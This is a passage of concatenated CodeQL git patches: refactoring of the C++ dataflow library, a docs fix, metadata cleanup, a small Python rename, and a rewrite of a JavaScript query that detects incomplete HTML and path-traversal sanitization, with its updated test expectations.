a00bd7ae027d17a2cd2e2931a37baa31943d1245 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Fri, 8 Jan 2021 19:47:02 +0100 Subject: [PATCH 0469/1241] C++: Respond to review comments. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 48 ++++--- .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 120 +++++++++--------- .../dataflow/fields/ir-path-flow.expected | 6 +- 3 files changed, 92 insertions(+), 82 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index 39672fe8e58..e19fc9228c2 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -350,20 +350,25 @@ private class InexactLoadOperand extends LoadOperand { InexactLoadOperand() { this.isDefinitionInexact() } } +/** Get the result type of an `Instruction` i, if it is a `PointerType`. */ +private PointerType getPointerType(Instruction i) { + // We are done if the type is a pointer type that is not a glvalue + i.getResultLanguageType().hasType(result, false) + or + // Some instructions produce a glvalue. Recurse past those to get the actual `PointerType`. + result = getPointerType(i.(PointerOffsetInstruction).getLeft()) +} + private predicate arrayReadStep(Node node1, ArrayContent a, Node node2) { a = TArrayContent() and // Explicit dereferences such as `*p` or `p[i]` where `p` is a pointer or array. - exists(InexactLoadOperand operand, Instruction address | + exists(InexactLoadOperand operand, LoadInstruction load | + load.getSourceValueOperand() = operand and node1.asInstruction() = operand.getAnyDef() and not node1.asInstruction().isResultConflated() and operand = node2.asOperand() and - instructionOperandLocalFlowStep+(instructionNode(address), - operandNode(operand.getAddressOperand())) and - ( - address instanceof LoadInstruction or - address instanceof ArrayToPointerConvertInstruction or - address instanceof PointerOffsetInstruction - ) + // Ensure that the load is actually loading from an array or a pointer. + getPointerType(load.getSourceAddress()).getBaseType() = load.getResultType() ) } @@ -392,19 +397,18 @@ bindingset[result, i] private int unbindInt(int i) { i <= result and i >= result } pragma[noinline] -private predicate getFieldNodeFromLoadOperand(FieldNode fieldNode, LoadOperand loadOperand) { - fieldNode = getFieldNodeForFieldInstruction(loadOperand.getAddressOperand().getDef()) +private FieldNode getFieldNodeFromLoadOperand(LoadOperand loadOperand) { + result = getFieldNodeForFieldInstruction(loadOperand.getAddressOperand().getDef()) } -// Sometimes there's no explicit field dereference. In such cases we use the IR alias analysis to -// determine the offset being, and deduce the field from this information. +/** + * Sometimes there's no explicit field dereference. In such cases we use the IR alias analysis to + * determine the offset being, and deduce the field from this information. + */ private predicate aliasedReadStep(Node node1, FieldContent f, Node node2) { exists(LoadOperand operand, Class c, int startBit, int endBit | // Ensure that we don't already catch this store step using a `FieldNode`. - not exists(FieldNode node | - getFieldNodeFromLoadOperand(node, operand) and - instrToFieldNodeReadStep(node, f, _) - ) and + not instrToFieldNodeReadStep(getFieldNodeFromLoadOperand(operand), f, _) and node1.asInstruction() = operand.getAnyDef() and node2.asOperand() = operand and not node1.asInstruction().isResultConflated() and @@ -414,6 +418,11 @@ private predicate aliasedReadStep(Node node1, FieldContent f, Node node2) { ) } +/** Get the result type of an `Instruction` i, if it is a `ReferenceType`. */ +private ReferenceType getReferenceType(Instruction i) { + i.getResultLanguageType().hasType(result, false) +} + /** * In cases such as: * ```cpp @@ -431,7 +440,7 @@ private predicate aliasedReadStep(Node node1, FieldContent f, Node node2) { */ private predicate innerReadSteap(Node node1, Content a, Node node2) { a = TArrayContent() and - exists(WriteSideEffectInstruction write, CallInstruction call, Expr arg | + exists(WriteSideEffectInstruction write, CallInstruction call, CopyValueInstruction copyValue | write.getPrimaryInstruction() = call and node1.asInstruction() = write and ( @@ -440,8 +449,9 @@ private predicate innerReadSteap(Node node1, Content a, Node node2) { exists(ChiInstruction chi | chi.getPartial() = write and not chi.isResultConflated()) ) and node2.asInstruction() = write and - arg = call.getArgument(write.getIndex()).getUnconvertedResultExpression() and - (arg instanceof AddressOfExpr or arg.getConversion() instanceof ReferenceToExpr) + copyValue = call.getArgument(write.getIndex()) and + [getPointerType(copyValue).getBaseType(), getReferenceType(copyValue).getBaseType()] = + copyValue.getSourceValue().getResultType() ) } diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 5ab582dc6d8..016bf565021 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -192,7 +192,7 @@ class OperandNode extends Node, TOperandNode { FieldNode getFieldNodeForFieldInstruction(Instruction instr) { result.getFieldInstruction() = any(FieldAddressInstruction fai | - instructionOperandLocalFlowStep*(instructionNode(fai), instructionNode(instr)) + longestRegisterInstructionOperandLocalFlowStep(instructionNode(fai), instructionNode(instr)) ) } @@ -251,13 +251,19 @@ class FieldNode extends Node, TFieldNode { /** * INTERNAL: do not use. A partial definition of a `FieldNode`. */ -class PartialFieldDefinition extends PartialDefinition { - override FieldNode node; - - override FieldNode getPreUpdateNode() { result = node } +class PartialFieldDefinition extends FieldNode, PartialDefinition { + /** + * The pre-update node of a partial definition of a `FieldNode` is the `FieldNode` itself. This ensures + * that the data flow library's reverse read mechanism builds up the correct access path for nested + * fields. + * For instance, in `a.b.c = x` there is a partial definition for `c` (let's call it `post[c]`) and a + * partial definition for `b` (let's call it `post[b]`), and there is a read step from `b` to `c` + * (using `instrToFieldNodeReadStep`), so there is a store step from `post[c]` to `post[b]`. + */ + override FieldNode getPreUpdateNode() { result = this } override Expr getDefinedExpr() { - result = node.getFieldInstruction().getObjectAddress().getUnconvertedResultExpression() + result = this.getFieldInstruction().getObjectAddress().getUnconvertedResultExpression() } } @@ -411,39 +417,13 @@ abstract class PostUpdateNode extends Node { override Location getLocation() { result = getPreUpdateNode().getLocation() } } -/** - * A partial definition of a node. A partial definition that targets arrays or pointers is attached to - * an `InstructionNode` (specifially, to the `ChiInstruction` that follows the `StoreInstruction`), and - * a partial definition that targets a `FieldNode` is attached to the `FieldNode`. - * - * The pre-update node of a partial definition of a `FieldNode` is the `FieldNode` itself. This ensures - * that the data flow library's reverse read mechanism builds up the correct access path for nested - * fields. - * For instance, in `a.b.c = x` there is a partial definition for `c` (let's call it `post[c]`) and a - * partial definition for `b` (let's call it `post[b]`), and there is a read step from `b` to `c` - * (using `instrToFieldNodeReadStep`), so there is a store step from `post[c]` to `post[b]`. - */ -private newtype TPartialDefinition = - MkPartialDefinition(Node node) { - isPointerStoreNode(node, _, _) or - isArrayStoreNode(node, _, _) or - node instanceof FieldNode - } - /** INTERNAL: do not use. A partial definition of a node. */ -abstract class PartialDefinition extends TPartialDefinition { - Node node; - - PartialDefinition() { this = MkPartialDefinition(node) } - +abstract class PartialDefinition extends Node { /** Gets the node before the state update. */ abstract Node getPreUpdateNode(); /** Gets the expression that is partially defined by this node. */ abstract Expr getDefinedExpr(); - - /** Gets a string representation of this partial definition. */ - string toString() { result = node.toString() + " [partial definition]" } } /** @@ -475,52 +455,44 @@ class PartialDefinitionNode extends PostUpdateNode, TPartialDefinitionNode { override string toString() { result = getPreUpdateNode().toString() + " [post update]" } } -private predicate isArrayStoreNode( - InstructionNode node, ChiInstruction chi, PointerAddInstruction add -) { - chi = node.getInstruction() and - not chi.isResultConflated() and - exists(StoreInstruction store | - chi.getPartial() = store and - add = store.getDestinationAddress() - ) -} - /** * The `PostUpdateNode` that is the target of a `arrayStoreStepChi` store step. The overriden * `ChiInstruction` corresponds to the instruction represented by `node2` in `arrayStoreStepChi`. */ -private class ArrayStoreNode extends PartialDefinition { - override InstructionNode node; +private class ArrayStoreNode extends InstructionNode, PartialDefinition { ChiInstruction chi; PointerAddInstruction add; - ArrayStoreNode() { isArrayStoreNode(node, chi, add) } + ArrayStoreNode() { + chi = this.getInstruction() and + not chi.isResultConflated() and + exists(StoreInstruction store | + chi.getPartial() = store and + add = store.getDestinationAddress() + ) + } override Node getPreUpdateNode() { result.asOperand() = chi.getTotalOperand() } override Expr getDefinedExpr() { result = add.getLeft().getUnconvertedResultExpression() } } -private predicate isPointerStoreNode(InstructionNode node, ChiInstruction chi, LoadInstruction load) { - chi = node.getInstruction() and - not chi.isResultConflated() and - exists(StoreInstruction store | - chi.getPartial() = store and - load = store.getDestinationAddress().(CopyValueInstruction).getUnary() - ) -} - /** * The `PostUpdateNode` that is the target of a `arrayStoreStepChi` store step. The overriden * `ChiInstruction` corresponds to the instruction represented by `node2` in `arrayStoreStepChi`. */ -private class PointerStoreNode extends PartialDefinition { - override InstructionNode node; +private class PointerStoreNode extends InstructionNode, PartialDefinition { ChiInstruction chi; LoadInstruction load; - PointerStoreNode() { isPointerStoreNode(node, chi, load) } + PointerStoreNode() { + chi = this.getInstruction() and + not chi.isResultConflated() and + exists(StoreInstruction store | + chi.getPartial() = store and + load = store.getDestinationAddress().(CopyValueInstruction).getUnary() + ) + } override Node getPreUpdateNode() { result.asOperand() = chi.getTotalOperand() } @@ -734,12 +706,40 @@ private predicate flowIntoReadNode(Node nodeFrom, FieldNode nodeTo) { ) } +/** Holds if `node` holds an `Instruction` or `Operand` that has a register result. */ +private predicate hasRegisterResult(Node node) { + node.asOperand() instanceof RegisterOperand + or + exists(Instruction i | i = node.asInstruction() and not i.hasMemoryResult()) +} + +/** + * Holds if there is a `Instruction` or `Operand` flow step from `nodeFrom` to `nodeTo` and both + * `nodeFrom` and `nodeTo` wraps register results. + */ +private predicate registerInstructionOperandLocalFlowStep(Node nodeFrom, Node nodeTo) { + hasRegisterResult(nodeFrom) and + hasRegisterResult(nodeTo) and + instructionOperandLocalFlowStep(nodeFrom, nodeTo) +} + +/** + * INTERNAL: do not use. + * Holds if `nodeFrom` has no incoming local `Operand` or `Instruction` register flow and `nodeFrom` can + * reach `nodeTo` using only local `Instruction` or `Operand` register flow steps. + */ +bindingset[nodeTo] +private predicate longestRegisterInstructionOperandLocalFlowStep(Node nodeFrom, Node nodeTo) { + registerInstructionOperandLocalFlowStep*(nodeFrom, nodeTo) and + not registerInstructionOperandLocalFlowStep(_, nodeFrom) +} + /** * INTERNAL: do not use. * Holds if `nodeFrom` is an operand and `nodeTo` is an instruction node that uses this operand, or * if `nodeFrom` is an instruction and `nodeTo` is an operand that refers to this instruction. */ -predicate instructionOperandLocalFlowStep(Node nodeFrom, Node nodeTo) { +private predicate instructionOperandLocalFlowStep(Node nodeFrom, Node nodeTo) { // Operand -> Instruction flow simpleInstructionLocalFlowStep(nodeFrom.asOperand(), nodeTo.asInstruction()) or diff --git a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected index ee43cd98302..e787b9a5f0e 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected @@ -58,9 +58,9 @@ edges | aliasing.cpp:79:11:79:20 | call to user_input | aliasing.cpp:80:12:80:13 | m1 | | aliasing.cpp:86:10:86:19 | call to user_input | aliasing.cpp:87:12:87:13 | m1 | | aliasing.cpp:92:12:92:21 | call to user_input | aliasing.cpp:93:12:93:13 | m1 | -| aliasing.cpp:98:5:98:6 | m1 [post update] [m1] | aliasing.cpp:101:21:101:22 | m1 [m1] | +| aliasing.cpp:98:5:98:6 | m1 [post update] [m1] | aliasing.cpp:100:14:100:14 | Store [m1] | | aliasing.cpp:98:10:98:19 | call to user_input | aliasing.cpp:98:5:98:6 | m1 [post update] [m1] | -| aliasing.cpp:101:21:101:22 | m1 [m1] | aliasing.cpp:102:8:102:10 | * ... | +| aliasing.cpp:100:14:100:14 | Store [m1] | aliasing.cpp:102:8:102:10 | * ... | | aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:121:15:121:16 | taint_a_ptr output argument [array content] | | aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:126:15:126:20 | taint_a_ptr output argument [array content] | | aliasing.cpp:106:3:106:20 | Chi [array content] | aliasing.cpp:131:15:131:16 | taint_a_ptr output argument [array content] | @@ -373,7 +373,7 @@ nodes | aliasing.cpp:93:12:93:13 | m1 | semmle.label | m1 | | aliasing.cpp:98:5:98:6 | m1 [post update] [m1] | semmle.label | m1 [post update] [m1] | | aliasing.cpp:98:10:98:19 | call to user_input | semmle.label | call to user_input | -| aliasing.cpp:101:21:101:22 | m1 [m1] | semmle.label | m1 [m1] | +| aliasing.cpp:100:14:100:14 | Store [m1] | semmle.label | Store [m1] | | aliasing.cpp:102:8:102:10 | * ... | semmle.label | * ... | | aliasing.cpp:106:3:106:20 | Chi [array content] | semmle.label | Chi [array content] | | aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | semmle.label | ChiTotal [post update] [array content] | From 1e2487320c447b556d49a4b6bde461d70a32b378 Mon Sep 17 00:00:00 2001 From: madneal <neal1991@sina.com> Date: Sat, 9 Jan 2021 21:38:25 +0800 Subject: [PATCH 0470/1241] address #4932,fix for errors of Binding behavior --- docs/codeql/ql-language-reference/predicates.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/codeql/ql-language-reference/predicates.rst b/docs/codeql/ql-language-reference/predicates.rst index 9b7bb4d9a60..361d278337d 100644 --- a/docs/codeql/ql-language-reference/predicates.rst +++ b/docs/codeql/ql-language-reference/predicates.rst @@ -226,6 +226,7 @@ Here are a few examples of infinite predicates: Compilation errors: ERROR: "i" is not bound to a value. ERROR: "result" is not bound to a value. + ERROR: expression is not bound to a value. */ int multiplyBy4(int i) { result = i * 4 From 46393c33ef45534a7e12560f5fba346c6f1b6dc1 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Mon, 11 Jan 2021 09:19:58 +0100 Subject: [PATCH 0471/1241] C++: Fix bad join orders introduced in previous commit. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 27 ++++++++++++++----- 1 file changed, 20 insertions(+), 7 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index e19fc9228c2..a5a30dc756e 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -350,7 +350,7 @@ private class InexactLoadOperand extends LoadOperand { InexactLoadOperand() { this.isDefinitionInexact() } } -/** Get the result type of an `Instruction` i, if it is a `PointerType`. */ +/** Get the result type of `i`, if it is a `PointerType`. */ private PointerType getPointerType(Instruction i) { // We are done if the type is a pointer type that is not a glvalue i.getResultLanguageType().hasType(result, false) @@ -359,16 +359,24 @@ private PointerType getPointerType(Instruction i) { result = getPointerType(i.(PointerOffsetInstruction).getLeft()) } +pragma[noinline] +private predicate deconstructLoad( + LoadInstruction load, InexactLoadOperand loadOperand, Instruction addressInstr +) { + load.getSourceAddress() = addressInstr and + load.getSourceValueOperand() = loadOperand +} + private predicate arrayReadStep(Node node1, ArrayContent a, Node node2) { a = TArrayContent() and // Explicit dereferences such as `*p` or `p[i]` where `p` is a pointer or array. - exists(InexactLoadOperand operand, LoadInstruction load | - load.getSourceValueOperand() = operand and - node1.asInstruction() = operand.getAnyDef() and + exists(InexactLoadOperand loadOperand, LoadInstruction load, Instruction address | + deconstructLoad(load, loadOperand, address) and + node1.asInstruction() = loadOperand.getAnyDef() and not node1.asInstruction().isResultConflated() and - operand = node2.asOperand() and + loadOperand = node2.asOperand() and // Ensure that the load is actually loading from an array or a pointer. - getPointerType(load.getSourceAddress()).getBaseType() = load.getResultType() + getPointerType(address).getBaseType() = load.getResultType() ) } @@ -423,6 +431,11 @@ private ReferenceType getReferenceType(Instruction i) { i.getResultLanguageType().hasType(result, false) } +pragma[noinline] +Type getResultTypeOfSourceValue(CopyValueInstruction copy) { + result = copy.getSourceValue().getResultType() +} + /** * In cases such as: * ```cpp @@ -451,7 +464,7 @@ private predicate innerReadSteap(Node node1, Content a, Node node2) { node2.asInstruction() = write and copyValue = call.getArgument(write.getIndex()) and [getPointerType(copyValue).getBaseType(), getReferenceType(copyValue).getBaseType()] = - copyValue.getSourceValue().getResultType() + getResultTypeOfSourceValue(copyValue) ) } From cf1d1dc5c0b135a3dc25c369f6dc65d5ced739c7 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 11 Jan 2021 09:31:06 +0000 Subject: [PATCH 0472/1241] C++: Remove old tags. --- .../General Class-Level Information/ClassHierarchies.ql | 3 --- .../InheritanceDepthDistribution.ql | 3 --- .../Refactoring Opportunities/ClassesWithManyDependencies.ql | 3 --- 3 files changed, 9 deletions(-) diff --git a/cpp/ql/src/Architecture/General Class-Level Information/ClassHierarchies.ql b/cpp/ql/src/Architecture/General Class-Level Information/ClassHierarchies.ql index 9e399982fec..4d17618f1bc 100644 --- a/cpp/ql/src/Architecture/General Class-Level Information/ClassHierarchies.ql +++ b/cpp/ql/src/Architecture/General Class-Level Information/ClassHierarchies.ql @@ -4,9 +4,6 @@ * @kind graph * @id cpp/architecture/class-hierarchies * @graph.layout organic - * @workingset jhotdraw - * @result succeed 48 - * @result_ondemand succeed 48 * @tags maintainability */ diff --git a/cpp/ql/src/Architecture/General Class-Level Information/InheritanceDepthDistribution.ql b/cpp/ql/src/Architecture/General Class-Level Information/InheritanceDepthDistribution.ql index 72605be0540..0fc6f0ba2a7 100644 --- a/cpp/ql/src/Architecture/General Class-Level Information/InheritanceDepthDistribution.ql +++ b/cpp/ql/src/Architecture/General Class-Level Information/InheritanceDepthDistribution.ql @@ -4,9 +4,6 @@ * @kind chart * @id cpp/architecture/inheritance-depth-distribution * @chart.type line - * @workingset jhotdraw - * @result succeed 48 - * @result_ondemand succeed 48 * @tags maintainability */ diff --git a/cpp/ql/src/Architecture/Refactoring Opportunities/ClassesWithManyDependencies.ql b/cpp/ql/src/Architecture/Refactoring Opportunities/ClassesWithManyDependencies.ql index 33db264a549..384af9ebef8 100644 --- a/cpp/ql/src/Architecture/Refactoring Opportunities/ClassesWithManyDependencies.ql +++ b/cpp/ql/src/Architecture/Refactoring Opportunities/ClassesWithManyDependencies.ql @@ -4,9 +4,6 @@ * @kind problem * @id cpp/architecture/classes-with-many-dependencies * @problem.severity recommendation - * @workingset jhotdraw - * @result succeed 20 - * @result_ondemand succeed 20 * @tags maintainability * statistical * non-attributable From 141b9adc4d38eda5ea3cd9a5b19688979a303c8f Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Mon, 11 Jan 2021 11:18:59 +0100 Subject: [PATCH 0473/1241] Python: Minor refactoring Co-authored-by: yoff <lerchedahl@gmail.com> --- python/ql/src/semmle/python/Concepts.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/Concepts.qll b/python/ql/src/semmle/python/Concepts.qll index 9a30ebf4871..a90df346b2f 100644 --- a/python/ql/src/semmle/python/Concepts.qll +++ b/python/ql/src/semmle/python/Concepts.qll @@ -404,7 +404,7 @@ module HTTP { /** A parameter that will receive parts of the url when handling an incoming request. */ private class RoutedParameter extends RemoteFlowSource::Range, DataFlow::ParameterNode { - RoutedParameter() { this.getParameter() = any(RequestHandler setup).getARoutedParameter() } + RoutedParameter() { this.getParameter() = any(RequestHandler handler).getARoutedParameter() } override string getSourceType() { result = "RoutedParameter" } } From 580a24e982db8f8412d3aac6d079e4cb7d4ecaa3 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Fri, 19 Jun 2020 11:50:39 +0200 Subject: [PATCH 0474/1241] JS: rewrite js/incomplete-multi-character-sanitization --- ...incomplete-multi-character-sanitization.md | 2 + .../IncompleteMultiCharacterSanitization.ql | 194 +++++++++++++----- ...ompleteMultiCharacterSanitization.expected | 66 +++--- .../tst-multi-character-sanitization.js | 37 +++- 4 files changed, 204 insertions(+), 95 deletions(-) create mode 100644 javascript/change-notes/2021-01-08-js-incomplete-multi-character-sanitization.md diff --git a/javascript/change-notes/2021-01-08-js-incomplete-multi-character-sanitization.md b/javascript/change-notes/2021-01-08-js-incomplete-multi-character-sanitization.md new file mode 100644 index 00000000000..653ba2a8994 --- /dev/null +++ b/javascript/change-notes/2021-01-08-js-incomplete-multi-character-sanitization.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* The query "Incomplete multi-character sanitization" (`js/incomplete-multi-character-sanitization`) has been improved to produce additional true positives and fewer false positives. diff --git a/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql b/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql index dbff9d98bc5..cef10d3cbe7 100644 --- a/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql +++ b/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql @@ -12,69 +12,153 @@ */ import javascript -import semmle.javascript.security.IncompleteBlacklistSanitizer -predicate isDangerous(RegExpTerm t) { - // path traversals - t.getAMatchedString() = ["..", "/..", "../"] - or - exists(RegExpTerm start | - start = t.(RegExpSequence).getAChild() and - start.getConstantValue() = "." and - start.getSuccessor().getConstantValue() = "." and - not [start.getPredecessor(), start.getSuccessor().getSuccessor()].getConstantValue() = "." - ) - or - // HTML comments - t.getAMatchedString() = "<!--" - or - // HTML scripts - t.getAMatchedString().regexpMatch("(?i)<script.*") - or - exists(RegExpSequence seq | seq = t | - t.getChild(0).getConstantValue() = "<" and - // the `cript|scrip` case has been observed in the wild, not sure what the goal of that pattern is... - t.getChild(0) - .getSuccessor+() - .getAMatchedString() - .regexpMatch("(?i)iframe|script|cript|scrip|style") - ) - or - // HTML attributes - exists(string dangerousPrefix | dangerousPrefix = ["ng-", "on"] | - t.getAMatchedString().regexpMatch("(i?)" + dangerousPrefix + "[a-z]+") +/** + * A regexp term that matches substrings that should be replaced with the empty string. + */ +class EmptyReplaceRegExpTerm extends RegExpTerm { + EmptyReplaceRegExpTerm() { + exists(StringReplaceCall replace | + [replace.getRawReplacement(), replace.getCallback(1).getAReturn()].mayHaveStringValue("") and + this = replace.getRegExp().getRoot().getAChild*() + ) + } +} + +/** + * A prefix that may be dangerous to sanitize explicitly. + * + * Note that this class exists solely as a (necessary) optimization for this query. + */ +class DangerousPrefix extends string { + DangerousPrefix() { + this = ["/..", "../"] or + this = "<!--" or + this = "<" + ["iframe", "script", "cript", "scrip", "style"] + } +} + +/** + * A substring of a prefix that may be dangerous to sanitize explicitly. + */ +class DangerousPrefixSubstring extends string { + DangerousPrefixSubstring() { + exists(DangerousPrefix s | this = s.substring([0 .. s.length()], [0 .. s.length()])) + } +} + +/** + * Gets a dangerous prefix that is in the prefix language of `t`. + */ +DangerousPrefix getADangerousMatchedPrefix(EmptyReplaceRegExpTerm t) { + result = getADangerousMatchedPrefixSubstring(t) and + not exists(EmptyReplaceRegExpTerm pred | pred = t.getPredecessor+() and not pred.isNullable()) +} + +/** + * Gets a substring of a dangerous prefix that is in the language starting at `t` (ignoring lookarounds). + * + * Note that the language of `t` is slightly restricted as not all RegExpTerm types are supported. + */ +DangerousPrefixSubstring getADangerousMatchedPrefixSubstring(EmptyReplaceRegExpTerm t) { + exists(string left | + t.isNullable() and left = "" or - exists(RegExpTerm start, RegExpTerm event | start = t.getAChild() | - start.getConstantValue().regexpMatch("(?i)[^a-z]*" + dangerousPrefix) and - event = start.getSuccessor() and - exists(RegExpTerm quantified | quantified = event.(RegExpQuantifier).getChild(0) | - quantified - .(RegExpCharacterClass) - .getAChild() - .(RegExpCharacterRange) - .isRange(["a", "A"], ["z", "Z"]) or - [quantified, quantified.(RegExpRange).getAChild()].(RegExpCharacterClassEscape).getValue() = - "w" - ) + t.getAMatchedString() = left + or + ( + t instanceof RegExpOpt or + t instanceof RegExpStar or + t instanceof RegExpPlus or + t instanceof RegExpGroup or + t instanceof RegExpAlt + ) and + left = getADangerousMatchedPrefixSubstring(t.getAChild()) + | + result = left + getADangerousMatchedPrefixSubstring(t.getSuccessor()) or + result = left + ) +} + +/** + * Holds if `t` may match the dangerous `prefix` and some suffix, indicating intent to prevent a vulnerablity of kind `kind`. + */ +predicate matchesDangerousPrefix(EmptyReplaceRegExpTerm t, string prefix, string kind) { + prefix = getADangerousMatchedPrefix(t) and + ( + kind = "path injection" and + // upwards navigation + prefix = ["/..", "../"] and + not t.getSuccessor*().getAMatchedString().regexpMatch("(?i).*[a-z0-9_-]+.*") // explicit path name mentions make this an unlikely sanitizer + or + kind = "HTML element injection" and + ( + // comments + prefix = "<!--" and + not t.getSuccessor*().getAMatchedString().regexpMatch("(?i).*[a-z0-9_]+.*") // explicit comment content mentions make this an unlikely sanitizer + or + // specific tags + prefix = "<" + ["iframe", "script", "cript", "scrip", "style"] // the `cript|scrip` case has been observed in the wild several times + ) + ) + or + kind = "HTML attribute injection" and + prefix = + [ + // ordinary event handler prefix + "on", + // angular prefixes + "ng-", "ng:", "data-ng-", "x-ng-" + ] and + ( + // explicit matching: `onclick` and `ng-bind` + t.getAMatchedString().regexpMatch("(?i)" + prefix + "[a-z]+") + or + // regexp-based matching: `on[a-z]+` + exists(EmptyReplaceRegExpTerm start | start = t.getAChild() | + start.getConstantValue().regexpMatch("(?i)[^a-z]*" + prefix) and + isCommonWordMatcher(start.getSuccessor()) ) ) } -from StringReplaceCall replace, RegExpTerm regexp, RegExpTerm dangerous +/** + * Holds if `t` is a common pattern for matching words + */ +predicate isCommonWordMatcher(RegExpTerm t) { + exists(RegExpTerm quantified | quantified = t.(RegExpQuantifier).getChild(0) | + // [a-z]+ and similar + quantified + .(RegExpCharacterClass) + .getAChild() + .(RegExpCharacterRange) + .isRange(["a", "A"], ["z", "Z"]) + or + // \w+ or [\w]+ + [quantified, quantified.(RegExpCharacterClass).getAChild()] + .(RegExpCharacterClassEscape) + .getValue() = "w" + ) +} + +from + StringReplaceCall replace, EmptyReplaceRegExpTerm regexp, EmptyReplaceRegExpTerm dangerous, + string prefix, string kind where - [replace.getRawReplacement(), replace.getCallback(1).getAReturn()].mayHaveStringValue("") and - replace.isGlobal() and regexp = replace.getRegExp().getRoot() and dangerous.getRootTerm() = regexp and - isDangerous(dangerous) and - // avoid anchored terms - not exists(RegExpAnchor a | a.getRootTerm() = regexp) and - // avoid flagging wrappers - not ( - dangerous instanceof RegExpAlt or - dangerous instanceof RegExpGroup + // only warn about the longest match (presumably the most descriptive) + prefix = max(string m | matchesDangerousPrefix(dangerous, m, kind) | m order by m.length()) and + // only warn once per kind + not exists(EmptyReplaceRegExpTerm other | + other = dangerous.getAChild+() or other = dangerous.getPredecessor+() + | + matchesDangerousPrefix(other, _, kind) ) and // don't flag replace operations in a loop - not replace.getReceiver().getALocalSource() = replace -select replace, "The replaced string may still contain a substring that starts matching at $@.", - dangerous, dangerous.toString() + not replace.getAMethodCall*().flowsTo(replace.getReceiver()) and + // avoid anchored terms + not exists(RegExpAnchor a | regexp = a.getRootTerm()) +select replace, + "This string may still contain a substring that starts matching at $@, which may cause a " + kind + + " vulnerability.", dangerous, prefix diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected index 34e9a5ea94c..048109da744 100644 --- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected +++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected @@ -1,33 +1,33 @@ -| tst-multi-character-sanitization.js:3:13:3:57 | content ... gi, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:3:30:3:49 | <.*cript.*\\/scrip.*> | <.*cript.*\\/scrip.*> | -| tst-multi-character-sanitization.js:4:13:4:47 | content ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:4:30:4:40 | on\\w+=".*" | on\\w+=".*" | -| tst-multi-character-sanitization.js:5:13:5:49 | content ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:5:30:5:42 | on\\w+=\\'.*\\' | on\\w+=\\'.*\\' | -| tst-multi-character-sanitization.js:9:13:9:47 | content ... gi, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:9:30:9:39 | <.*cript.* | <.*cript.* | -| tst-multi-character-sanitization.js:10:13:10:49 | content ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:10:30:10:42 | .on\\w+=.*".*" | .on\\w+=.*".*" | -| tst-multi-character-sanitization.js:11:13:11:51 | content ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:11:30:11:44 | .on\\w+=.*\\'.*\\' | .on\\w+=.*\\'.*\\' | -| tst-multi-character-sanitization.js:19:3:19:35 | respons ... pt, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:18:18:18:24 | <script | <script | -| tst-multi-character-sanitization.js:25:10:25:40 | text.re ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:25:24:25:27 | <!-- | <!-- | -| tst-multi-character-sanitization.js:38:8:38:30 | id.repl ... /g, "") | The replaced string may still contain a substring that starts matching at $@. | tst-multi-character-sanitization.js:38:20:38:23 | \\.\\. | 